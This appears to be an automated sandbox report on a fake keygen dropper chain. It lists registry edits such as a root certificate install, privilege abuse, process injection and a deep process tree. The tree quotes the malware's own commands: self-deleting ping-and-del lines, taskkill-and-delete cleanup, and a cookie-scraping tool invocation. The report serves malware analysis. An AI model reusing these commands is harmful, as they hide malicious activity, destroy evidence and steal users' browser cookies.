Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CacheLimit = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\EnablementState = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory\UUID = "{5A209E2C-B4FC-4B67-8854-47A7AF9DD569}"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdge.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	askinstall20.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	askinstall20.exe

Runs ping.exe 1 TTPs 7 IoCs

Remote System Discovery

T1018

pid	Process
5644	PING.EXE
6100	PING.EXE
3828	PING.EXE
8884	PING.EXE
11284	PING.EXE
12204	PING.EXE
3824	PING.EXE

Script User-Agent 10 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	327	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	337	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	576	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	643	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	726	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	152	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	156	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	579	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	646	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	715	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
208	setups.tmp
208	setups.tmp
4632	multitimer.exe
4632	multitimer.exe
4632	multitimer.exe
4632	multitimer.exe
4632	multitimer.exe
4632	multitimer.exe
4632	multitimer.exe
4632	multitimer.exe
4632	multitimer.exe
4632	multitimer.exe
4632	multitimer.exe
4632	multitimer.exe
4632	multitimer.exe
4632	multitimer.exe
4632	multitimer.exe
4632	multitimer.exe
4632	multitimer.exe
4632	multitimer.exe
1892	rundll32.exe
1892	rundll32.exe
4904	svchost.exe
4904	svchost.exe
4760	FBAB.tmp.exe
4760	FBAB.tmp.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
1900	MicrosoftEdgeCP.exe
1900	MicrosoftEdgeCP.exe

Suspicious use of AdjustPrivilegeToken 60 IoCs

description	pid	Process
Token: SeDebugPrivilege	4536	Setup.exe
Token: SeCreateTokenPrivilege	4712	askinstall20.exe
Token: SeAssignPrimaryTokenPrivilege	4712	askinstall20.exe
Token: SeLockMemoryPrivilege	4712	askinstall20.exe
Token: SeIncreaseQuotaPrivilege	4712	askinstall20.exe
Token: SeMachineAccountPrivilege	4712	askinstall20.exe
Token: SeTcbPrivilege	4712	askinstall20.exe
Token: SeSecurityPrivilege	4712	askinstall20.exe
Token: SeTakeOwnershipPrivilege	4712	askinstall20.exe
Token: SeLoadDriverPrivilege	4712	askinstall20.exe
Token: SeSystemProfilePrivilege	4712	askinstall20.exe
Token: SeSystemtimePrivilege	4712	askinstall20.exe
Token: SeProfSingleProcessPrivilege	4712	askinstall20.exe
Token: SeIncBasePriorityPrivilege	4712	askinstall20.exe
Token: SeCreatePagefilePrivilege	4712	askinstall20.exe
Token: SeCreatePermanentPrivilege	4712	askinstall20.exe
Token: SeBackupPrivilege	4712	askinstall20.exe
Token: SeRestorePrivilege	4712	askinstall20.exe
Token: SeShutdownPrivilege	4712	askinstall20.exe
Token: SeDebugPrivilege	4712	askinstall20.exe
Token: SeAuditPrivilege	4712	askinstall20.exe
Token: SeSystemEnvironmentPrivilege	4712	askinstall20.exe
Token: SeChangeNotifyPrivilege	4712	askinstall20.exe
Token: SeRemoteShutdownPrivilege	4712	askinstall20.exe
Token: SeUndockPrivilege	4712	askinstall20.exe
Token: SeSyncAgentPrivilege	4712	askinstall20.exe
Token: SeEnableDelegationPrivilege	4712	askinstall20.exe
Token: SeManageVolumePrivilege	4712	askinstall20.exe
Token: SeImpersonatePrivilege	4712	askinstall20.exe
Token: SeCreateGlobalPrivilege	4712	askinstall20.exe
Token: 31	4712	askinstall20.exe
Token: 32	4712	askinstall20.exe
Token: 33	4712	askinstall20.exe
Token: 34	4712	askinstall20.exe
Token: 35	4712	askinstall20.exe
Token: SeDebugPrivilege	4632	multitimer.exe
Token: SeDebugPrivilege	4204	taskkill.exe
Token: SeDebugPrivilege	3100	MicrosoftEdge.exe
Token: SeDebugPrivilege	3100	MicrosoftEdge.exe
Token: SeDebugPrivilege	3100	MicrosoftEdge.exe
Token: SeDebugPrivilege	3100	MicrosoftEdge.exe
Token: SeDebugPrivilege	2380	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	2380	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	2380	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	2380	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	4488	multitimer.exe
Token: SeDebugPrivilege	1892	rundll32.exe
Token: SeDebugPrivilege	1892	rundll32.exe
Token: SeTcbPrivilege	4904	svchost.exe
Token: SeDebugPrivilege	1892	rundll32.exe
Token: SeDebugPrivilege	1892	rundll32.exe
Token: SeDebugPrivilege	1892	rundll32.exe
Token: SeDebugPrivilege	1892	rundll32.exe
Token: SeDebugPrivilege	1892	rundll32.exe
Token: SeDebugPrivilege	1892	rundll32.exe
Token: SeDebugPrivilege	1892	rundll32.exe
Token: SeDebugPrivilege	1892	rundll32.exe
Token: SeDebugPrivilege	1892	rundll32.exe
Token: SeDebugPrivilege	1892	rundll32.exe
Token: SeDebugPrivilege	1892	rundll32.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
2528	setups.exe
208	setups.tmp
3100	MicrosoftEdge.exe
1900	MicrosoftEdgeCP.exe
1900	MicrosoftEdgeCP.exe
2520	cpyrix.exe
5200	yhqt5eaxeqc.exe
5304	Setup3310.exe
5388	yhqt5eaxeqc.tmp
5408	Setup3310.tmp

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4768 wrote to memory of 4348	4768	Delphi_Wmi_Class_Generator_serial_keys_gen.exe	78
PID 4768 wrote to memory of 4348	4768	Delphi_Wmi_Class_Generator_serial_keys_gen.exe	78
PID 4768 wrote to memory of 4348	4768	Delphi_Wmi_Class_Generator_serial_keys_gen.exe	78
PID 4348 wrote to memory of 980	4348	cmd.exe	81
PID 4348 wrote to memory of 980	4348	cmd.exe	81
PID 4348 wrote to memory of 980	4348	cmd.exe	81
PID 4348 wrote to memory of 492	4348	cmd.exe	82
PID 4348 wrote to memory of 492	4348	cmd.exe	82
PID 4348 wrote to memory of 492	4348	cmd.exe	82
PID 4348 wrote to memory of 1136	4348	cmd.exe	83
PID 4348 wrote to memory of 1136	4348	cmd.exe	83
PID 4348 wrote to memory of 1136	4348	cmd.exe	83
PID 4348 wrote to memory of 2180	4348	cmd.exe	84
PID 4348 wrote to memory of 2180	4348	cmd.exe	84
PID 4348 wrote to memory of 2180	4348	cmd.exe	84
PID 980 wrote to memory of 3548	980	keygen-pr.exe	85
PID 980 wrote to memory of 3548	980	keygen-pr.exe	85
PID 980 wrote to memory of 3548	980	keygen-pr.exe	85
PID 2180 wrote to memory of 4536	2180	keygen-step-4.exe	86
PID 2180 wrote to memory of 4536	2180	keygen-step-4.exe	86
PID 1136 wrote to memory of 4492	1136	keygen-step-3.exe	87
PID 1136 wrote to memory of 4492	1136	keygen-step-3.exe	87
PID 1136 wrote to memory of 4492	1136	keygen-step-3.exe	87
PID 3548 wrote to memory of 4576	3548	key.exe	89
PID 3548 wrote to memory of 4576	3548	key.exe	89
PID 3548 wrote to memory of 4576	3548	key.exe	89
PID 4492 wrote to memory of 3824	4492	cmd.exe	90
PID 4492 wrote to memory of 3824	4492	cmd.exe	90
PID 4492 wrote to memory of 3824	4492	cmd.exe	90
PID 4536 wrote to memory of 4632	4536	Setup.exe	91
PID 4536 wrote to memory of 4632	4536	Setup.exe	91
PID 4536 wrote to memory of 2528	4536	Setup.exe	92
PID 4536 wrote to memory of 2528	4536	Setup.exe	92
PID 4536 wrote to memory of 2528	4536	Setup.exe	92
PID 2180 wrote to memory of 4712	2180	keygen-step-4.exe	93
PID 2180 wrote to memory of 4712	2180	keygen-step-4.exe	93
PID 2180 wrote to memory of 4712	2180	keygen-step-4.exe	93
PID 2528 wrote to memory of 208	2528	setups.exe	94
PID 2528 wrote to memory of 208	2528	setups.exe	94
PID 2528 wrote to memory of 208	2528	setups.exe	94
PID 4712 wrote to memory of 4112	4712	askinstall20.exe	96
PID 4712 wrote to memory of 4112	4712	askinstall20.exe	96
PID 4712 wrote to memory of 4112	4712	askinstall20.exe	96
PID 4112 wrote to memory of 4204	4112	cmd.exe	99
PID 4112 wrote to memory of 4204	4112	cmd.exe	99
PID 4112 wrote to memory of 4204	4112	cmd.exe	99
PID 4632 wrote to memory of 4352	4632	multitimer.exe	104
PID 4632 wrote to memory of 4352	4632	multitimer.exe	104
PID 4352 wrote to memory of 4488	4352	multitimer.exe	105
PID 4352 wrote to memory of 4488	4352	multitimer.exe	105
PID 2180 wrote to memory of 3956	2180	keygen-step-4.exe	106
PID 2180 wrote to memory of 3956	2180	keygen-step-4.exe	106
PID 2180 wrote to memory of 3956	2180	keygen-step-4.exe	106
PID 3956 wrote to memory of 4744	3956	Full Program Features.exe	107
PID 3956 wrote to memory of 4744	3956	Full Program Features.exe	107
PID 3956 wrote to memory of 4744	3956	Full Program Features.exe	107
PID 2180 wrote to memory of 4580	2180	keygen-step-4.exe	108
PID 2180 wrote to memory of 4580	2180	keygen-step-4.exe	108
PID 2180 wrote to memory of 4580	2180	keygen-step-4.exe	108
PID 1900 wrote to memory of 2380	1900	MicrosoftEdgeCP.exe	103
PID 1900 wrote to memory of 2380	1900	MicrosoftEdgeCP.exe	103
PID 1900 wrote to memory of 2380	1900	MicrosoftEdgeCP.exe	103
PID 1900 wrote to memory of 2380	1900	MicrosoftEdgeCP.exe	103
PID 4744 wrote to memory of 1892	4744	WScript.exe	109

Views/modifies file attributes 1 TTPs 4 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
3420	attrib.exe
3844	attrib.exe
10892	attrib.exe
11112	attrib.exe

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2404

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2716

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2392

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2240

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2232

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1788

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1336

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1240

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1204

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1056

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:940

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:348

C:\Users\Admin\AppData\Local\Temp\Delphi_Wmi_Class_Generator_serial_keys_gen.exe
"C:\Users\Admin\AppData\Local\Temp\Delphi_Wmi_Class_Generator_serial_keys_gen.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4768
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4348
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
    keygen-pr.exe -p83fsase3Ge
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:980
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3548
    - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
        5⤵
        
        PID:4576
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
    keygen-step-1.exe
    3⤵
    - Executes dropped EXE
    PID:492
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
    keygen-step-3.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1136
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4492
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 1.1.1.1 -n 1 -w 3000
        5⤵
        Runs ping.exe
        
        PID:3824
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
    keygen-step-4.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2180
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4536
    - - C:\Users\Admin\AppData\Local\Temp\A2B2U0ARCL\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\A2B2U0ARCL\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
        5⤵
        Executes dropped EXE
        Maps connected drives based on registry
        Drops file in Windows directory
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4632
      - C:\Users\Admin\AppData\Local\Temp\A2B2U0ARCL\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\A2B2U0ARCL\multitimer.exe" 1 3.1617447942.60684c0691ccb 101
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of WriteProcessMemory
        
        PID:4352
        
        C:\Users\Admin\AppData\Local\Temp\A2B2U0ARCL\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\A2B2U0ARCL\multitimer.exe" 2 3.1617447942.60684c0691ccb
        7⤵
        Executes dropped EXE
        Checks for any installed AV software in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:4488
        
        C:\Users\Admin\AppData\Local\Temp\cegzf3ouz3u\KiffApp1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\cegzf3ouz3u\KiffApp1.exe"
        8⤵
        
        PID:4216
        
        C:\Users\Admin\AppData\Local\Temp\htw3ohtkqv5\Setup3310.exe
        
        "C:\Users\Admin\AppData\Local\Temp\htw3ohtkqv5\Setup3310.exe" /Verysilent /subid=577
        8⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:5304
        
        C:\Users\Admin\AppData\Local\Temp\is-6SUFJ.tmp\Setup3310.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-6SUFJ.tmp\Setup3310.tmp" /SL5="$70068,138429,56832,C:\Users\Admin\AppData\Local\Temp\htw3ohtkqv5\Setup3310.exe" /Verysilent /subid=577
        9⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetWindowsHookEx
        
        PID:5408
        
        C:\Users\Admin\AppData\Local\Temp\is-IG5QR.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-IG5QR.tmp\Setup.exe" /Verysilent
        10⤵
        
        PID:4900
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe"
        11⤵
        
        PID:5820
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        12⤵
        
        PID:5596
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        12⤵
        
        PID:2264
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\RunWW.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\RunWW.exe"
        11⤵
        
        PID:5276
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5276 -s 928
        12⤵
        Program crash
        
        PID:8564
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5276 -s 1004
        12⤵
        Program crash
        
        PID:9008
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5276 -s 1008
        12⤵
        Program crash
        
        PID:9320
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5276 -s 1160
        12⤵
        Program crash
        
        PID:10540
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5276 -s 1192
        12⤵
        Program crash
        
        PID:11268
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5276 -s 1264
        12⤵
        Program crash
        
        PID:11568
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5276 -s 1552
        12⤵
        Program crash
        
        PID:12300
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5276 -s 1620
        12⤵
        Program crash
        
        PID:6752
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5276 -s 1692
        12⤵
        Program crash
        
        PID:12844
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5276 -s 1480
        12⤵
        Program crash
        
        PID:6344
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\jg7_7wjg.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\jg7_7wjg.exe"
        11⤵
        
        PID:1844
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"
        11⤵
        
        PID:3808
        
        C:\Users\Admin\AppData\Local\Temp\is-A75L9.tmp\LabPicV3.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-A75L9.tmp\LabPicV3.tmp" /SL5="$20314,239334,155648,C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"
        12⤵
        
        PID:6012
        
        C:\Users\Admin\AppData\Local\Temp\is-TN6QG.tmp\ppppppfy.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-TN6QG.tmp\ppppppfy.exe" /S /UID=lab214
        13⤵
        
        PID:1384
        
        C:\Program Files\Reference Assemblies\TCRDBDCDAJ\prolab.exe
        
        "C:\Program Files\Reference Assemblies\TCRDBDCDAJ\prolab.exe" /VERYSILENT
        14⤵
        
        PID:3108
        
        C:\Users\Admin\AppData\Local\Temp\is-NT0HR.tmp\prolab.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-NT0HR.tmp\prolab.tmp" /SL5="$20186,575243,216576,C:\Program Files\Reference Assemblies\TCRDBDCDAJ\prolab.exe" /VERYSILENT
        15⤵
        
        PID:6348
        
        C:\Users\Admin\AppData\Local\Temp\99-16a8d-550-69584-aa155dcfa1cfc\Wuwyrepihe.exe
        
        "C:\Users\Admin\AppData\Local\Temp\99-16a8d-550-69584-aa155dcfa1cfc\Wuwyrepihe.exe"
        14⤵
        
        PID:3748
        
        C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 2108
        15⤵
        
        PID:8680
        
        C:\Users\Admin\AppData\Local\Temp\8d-72fa4-785-92d8d-f385f02a7cde3\Rolovinovy.exe
        
        "C:\Users\Admin\AppData\Local\Temp\8d-72fa4-785-92d8d-f385f02a7cde3\Rolovinovy.exe"
        14⤵
        
        PID:5052
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dk4c2ozv.fds\md6_6ydj.exe & exit
        15⤵
        
        PID:8488
        
        C:\Users\Admin\AppData\Local\Temp\dk4c2ozv.fds\md6_6ydj.exe
        
        C:\Users\Admin\AppData\Local\Temp\dk4c2ozv.fds\md6_6ydj.exe
        16⤵
        
        PID:9172
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\01j1zqq1.whw\Vidboxtest.exe & exit
        15⤵
        
        PID:1632
        
        C:\Users\Admin\AppData\Local\Temp\01j1zqq1.whw\Vidboxtest.exe
        
        C:\Users\Admin\AppData\Local\Temp\01j1zqq1.whw\Vidboxtest.exe
        16⤵
        
        PID:9460
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im Vidboxtest.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\01j1zqq1.whw\Vidboxtest.exe" & del C:\ProgramData\*.dll & exit
        17⤵
        
        PID:3528
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im Vidboxtest.exe /f
        18⤵
        Kills process with taskkill
        
        PID:7396
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        18⤵
        Delays execution with timeout.exe
        
        PID:1512
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lsf33uwi.pz1\askinstall31.exe & exit
        15⤵
        
        PID:9824
        
        C:\Users\Admin\AppData\Local\Temp\lsf33uwi.pz1\askinstall31.exe
        
        C:\Users\Admin\AppData\Local\Temp\lsf33uwi.pz1\askinstall31.exe
        16⤵
        
        PID:10576
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\idtxnplm.qcm\toolspab1.exe & exit
        15⤵
        
        PID:10476
        
        C:\Users\Admin\AppData\Local\Temp\idtxnplm.qcm\toolspab1.exe
        
        C:\Users\Admin\AppData\Local\Temp\idtxnplm.qcm\toolspab1.exe
        16⤵
        
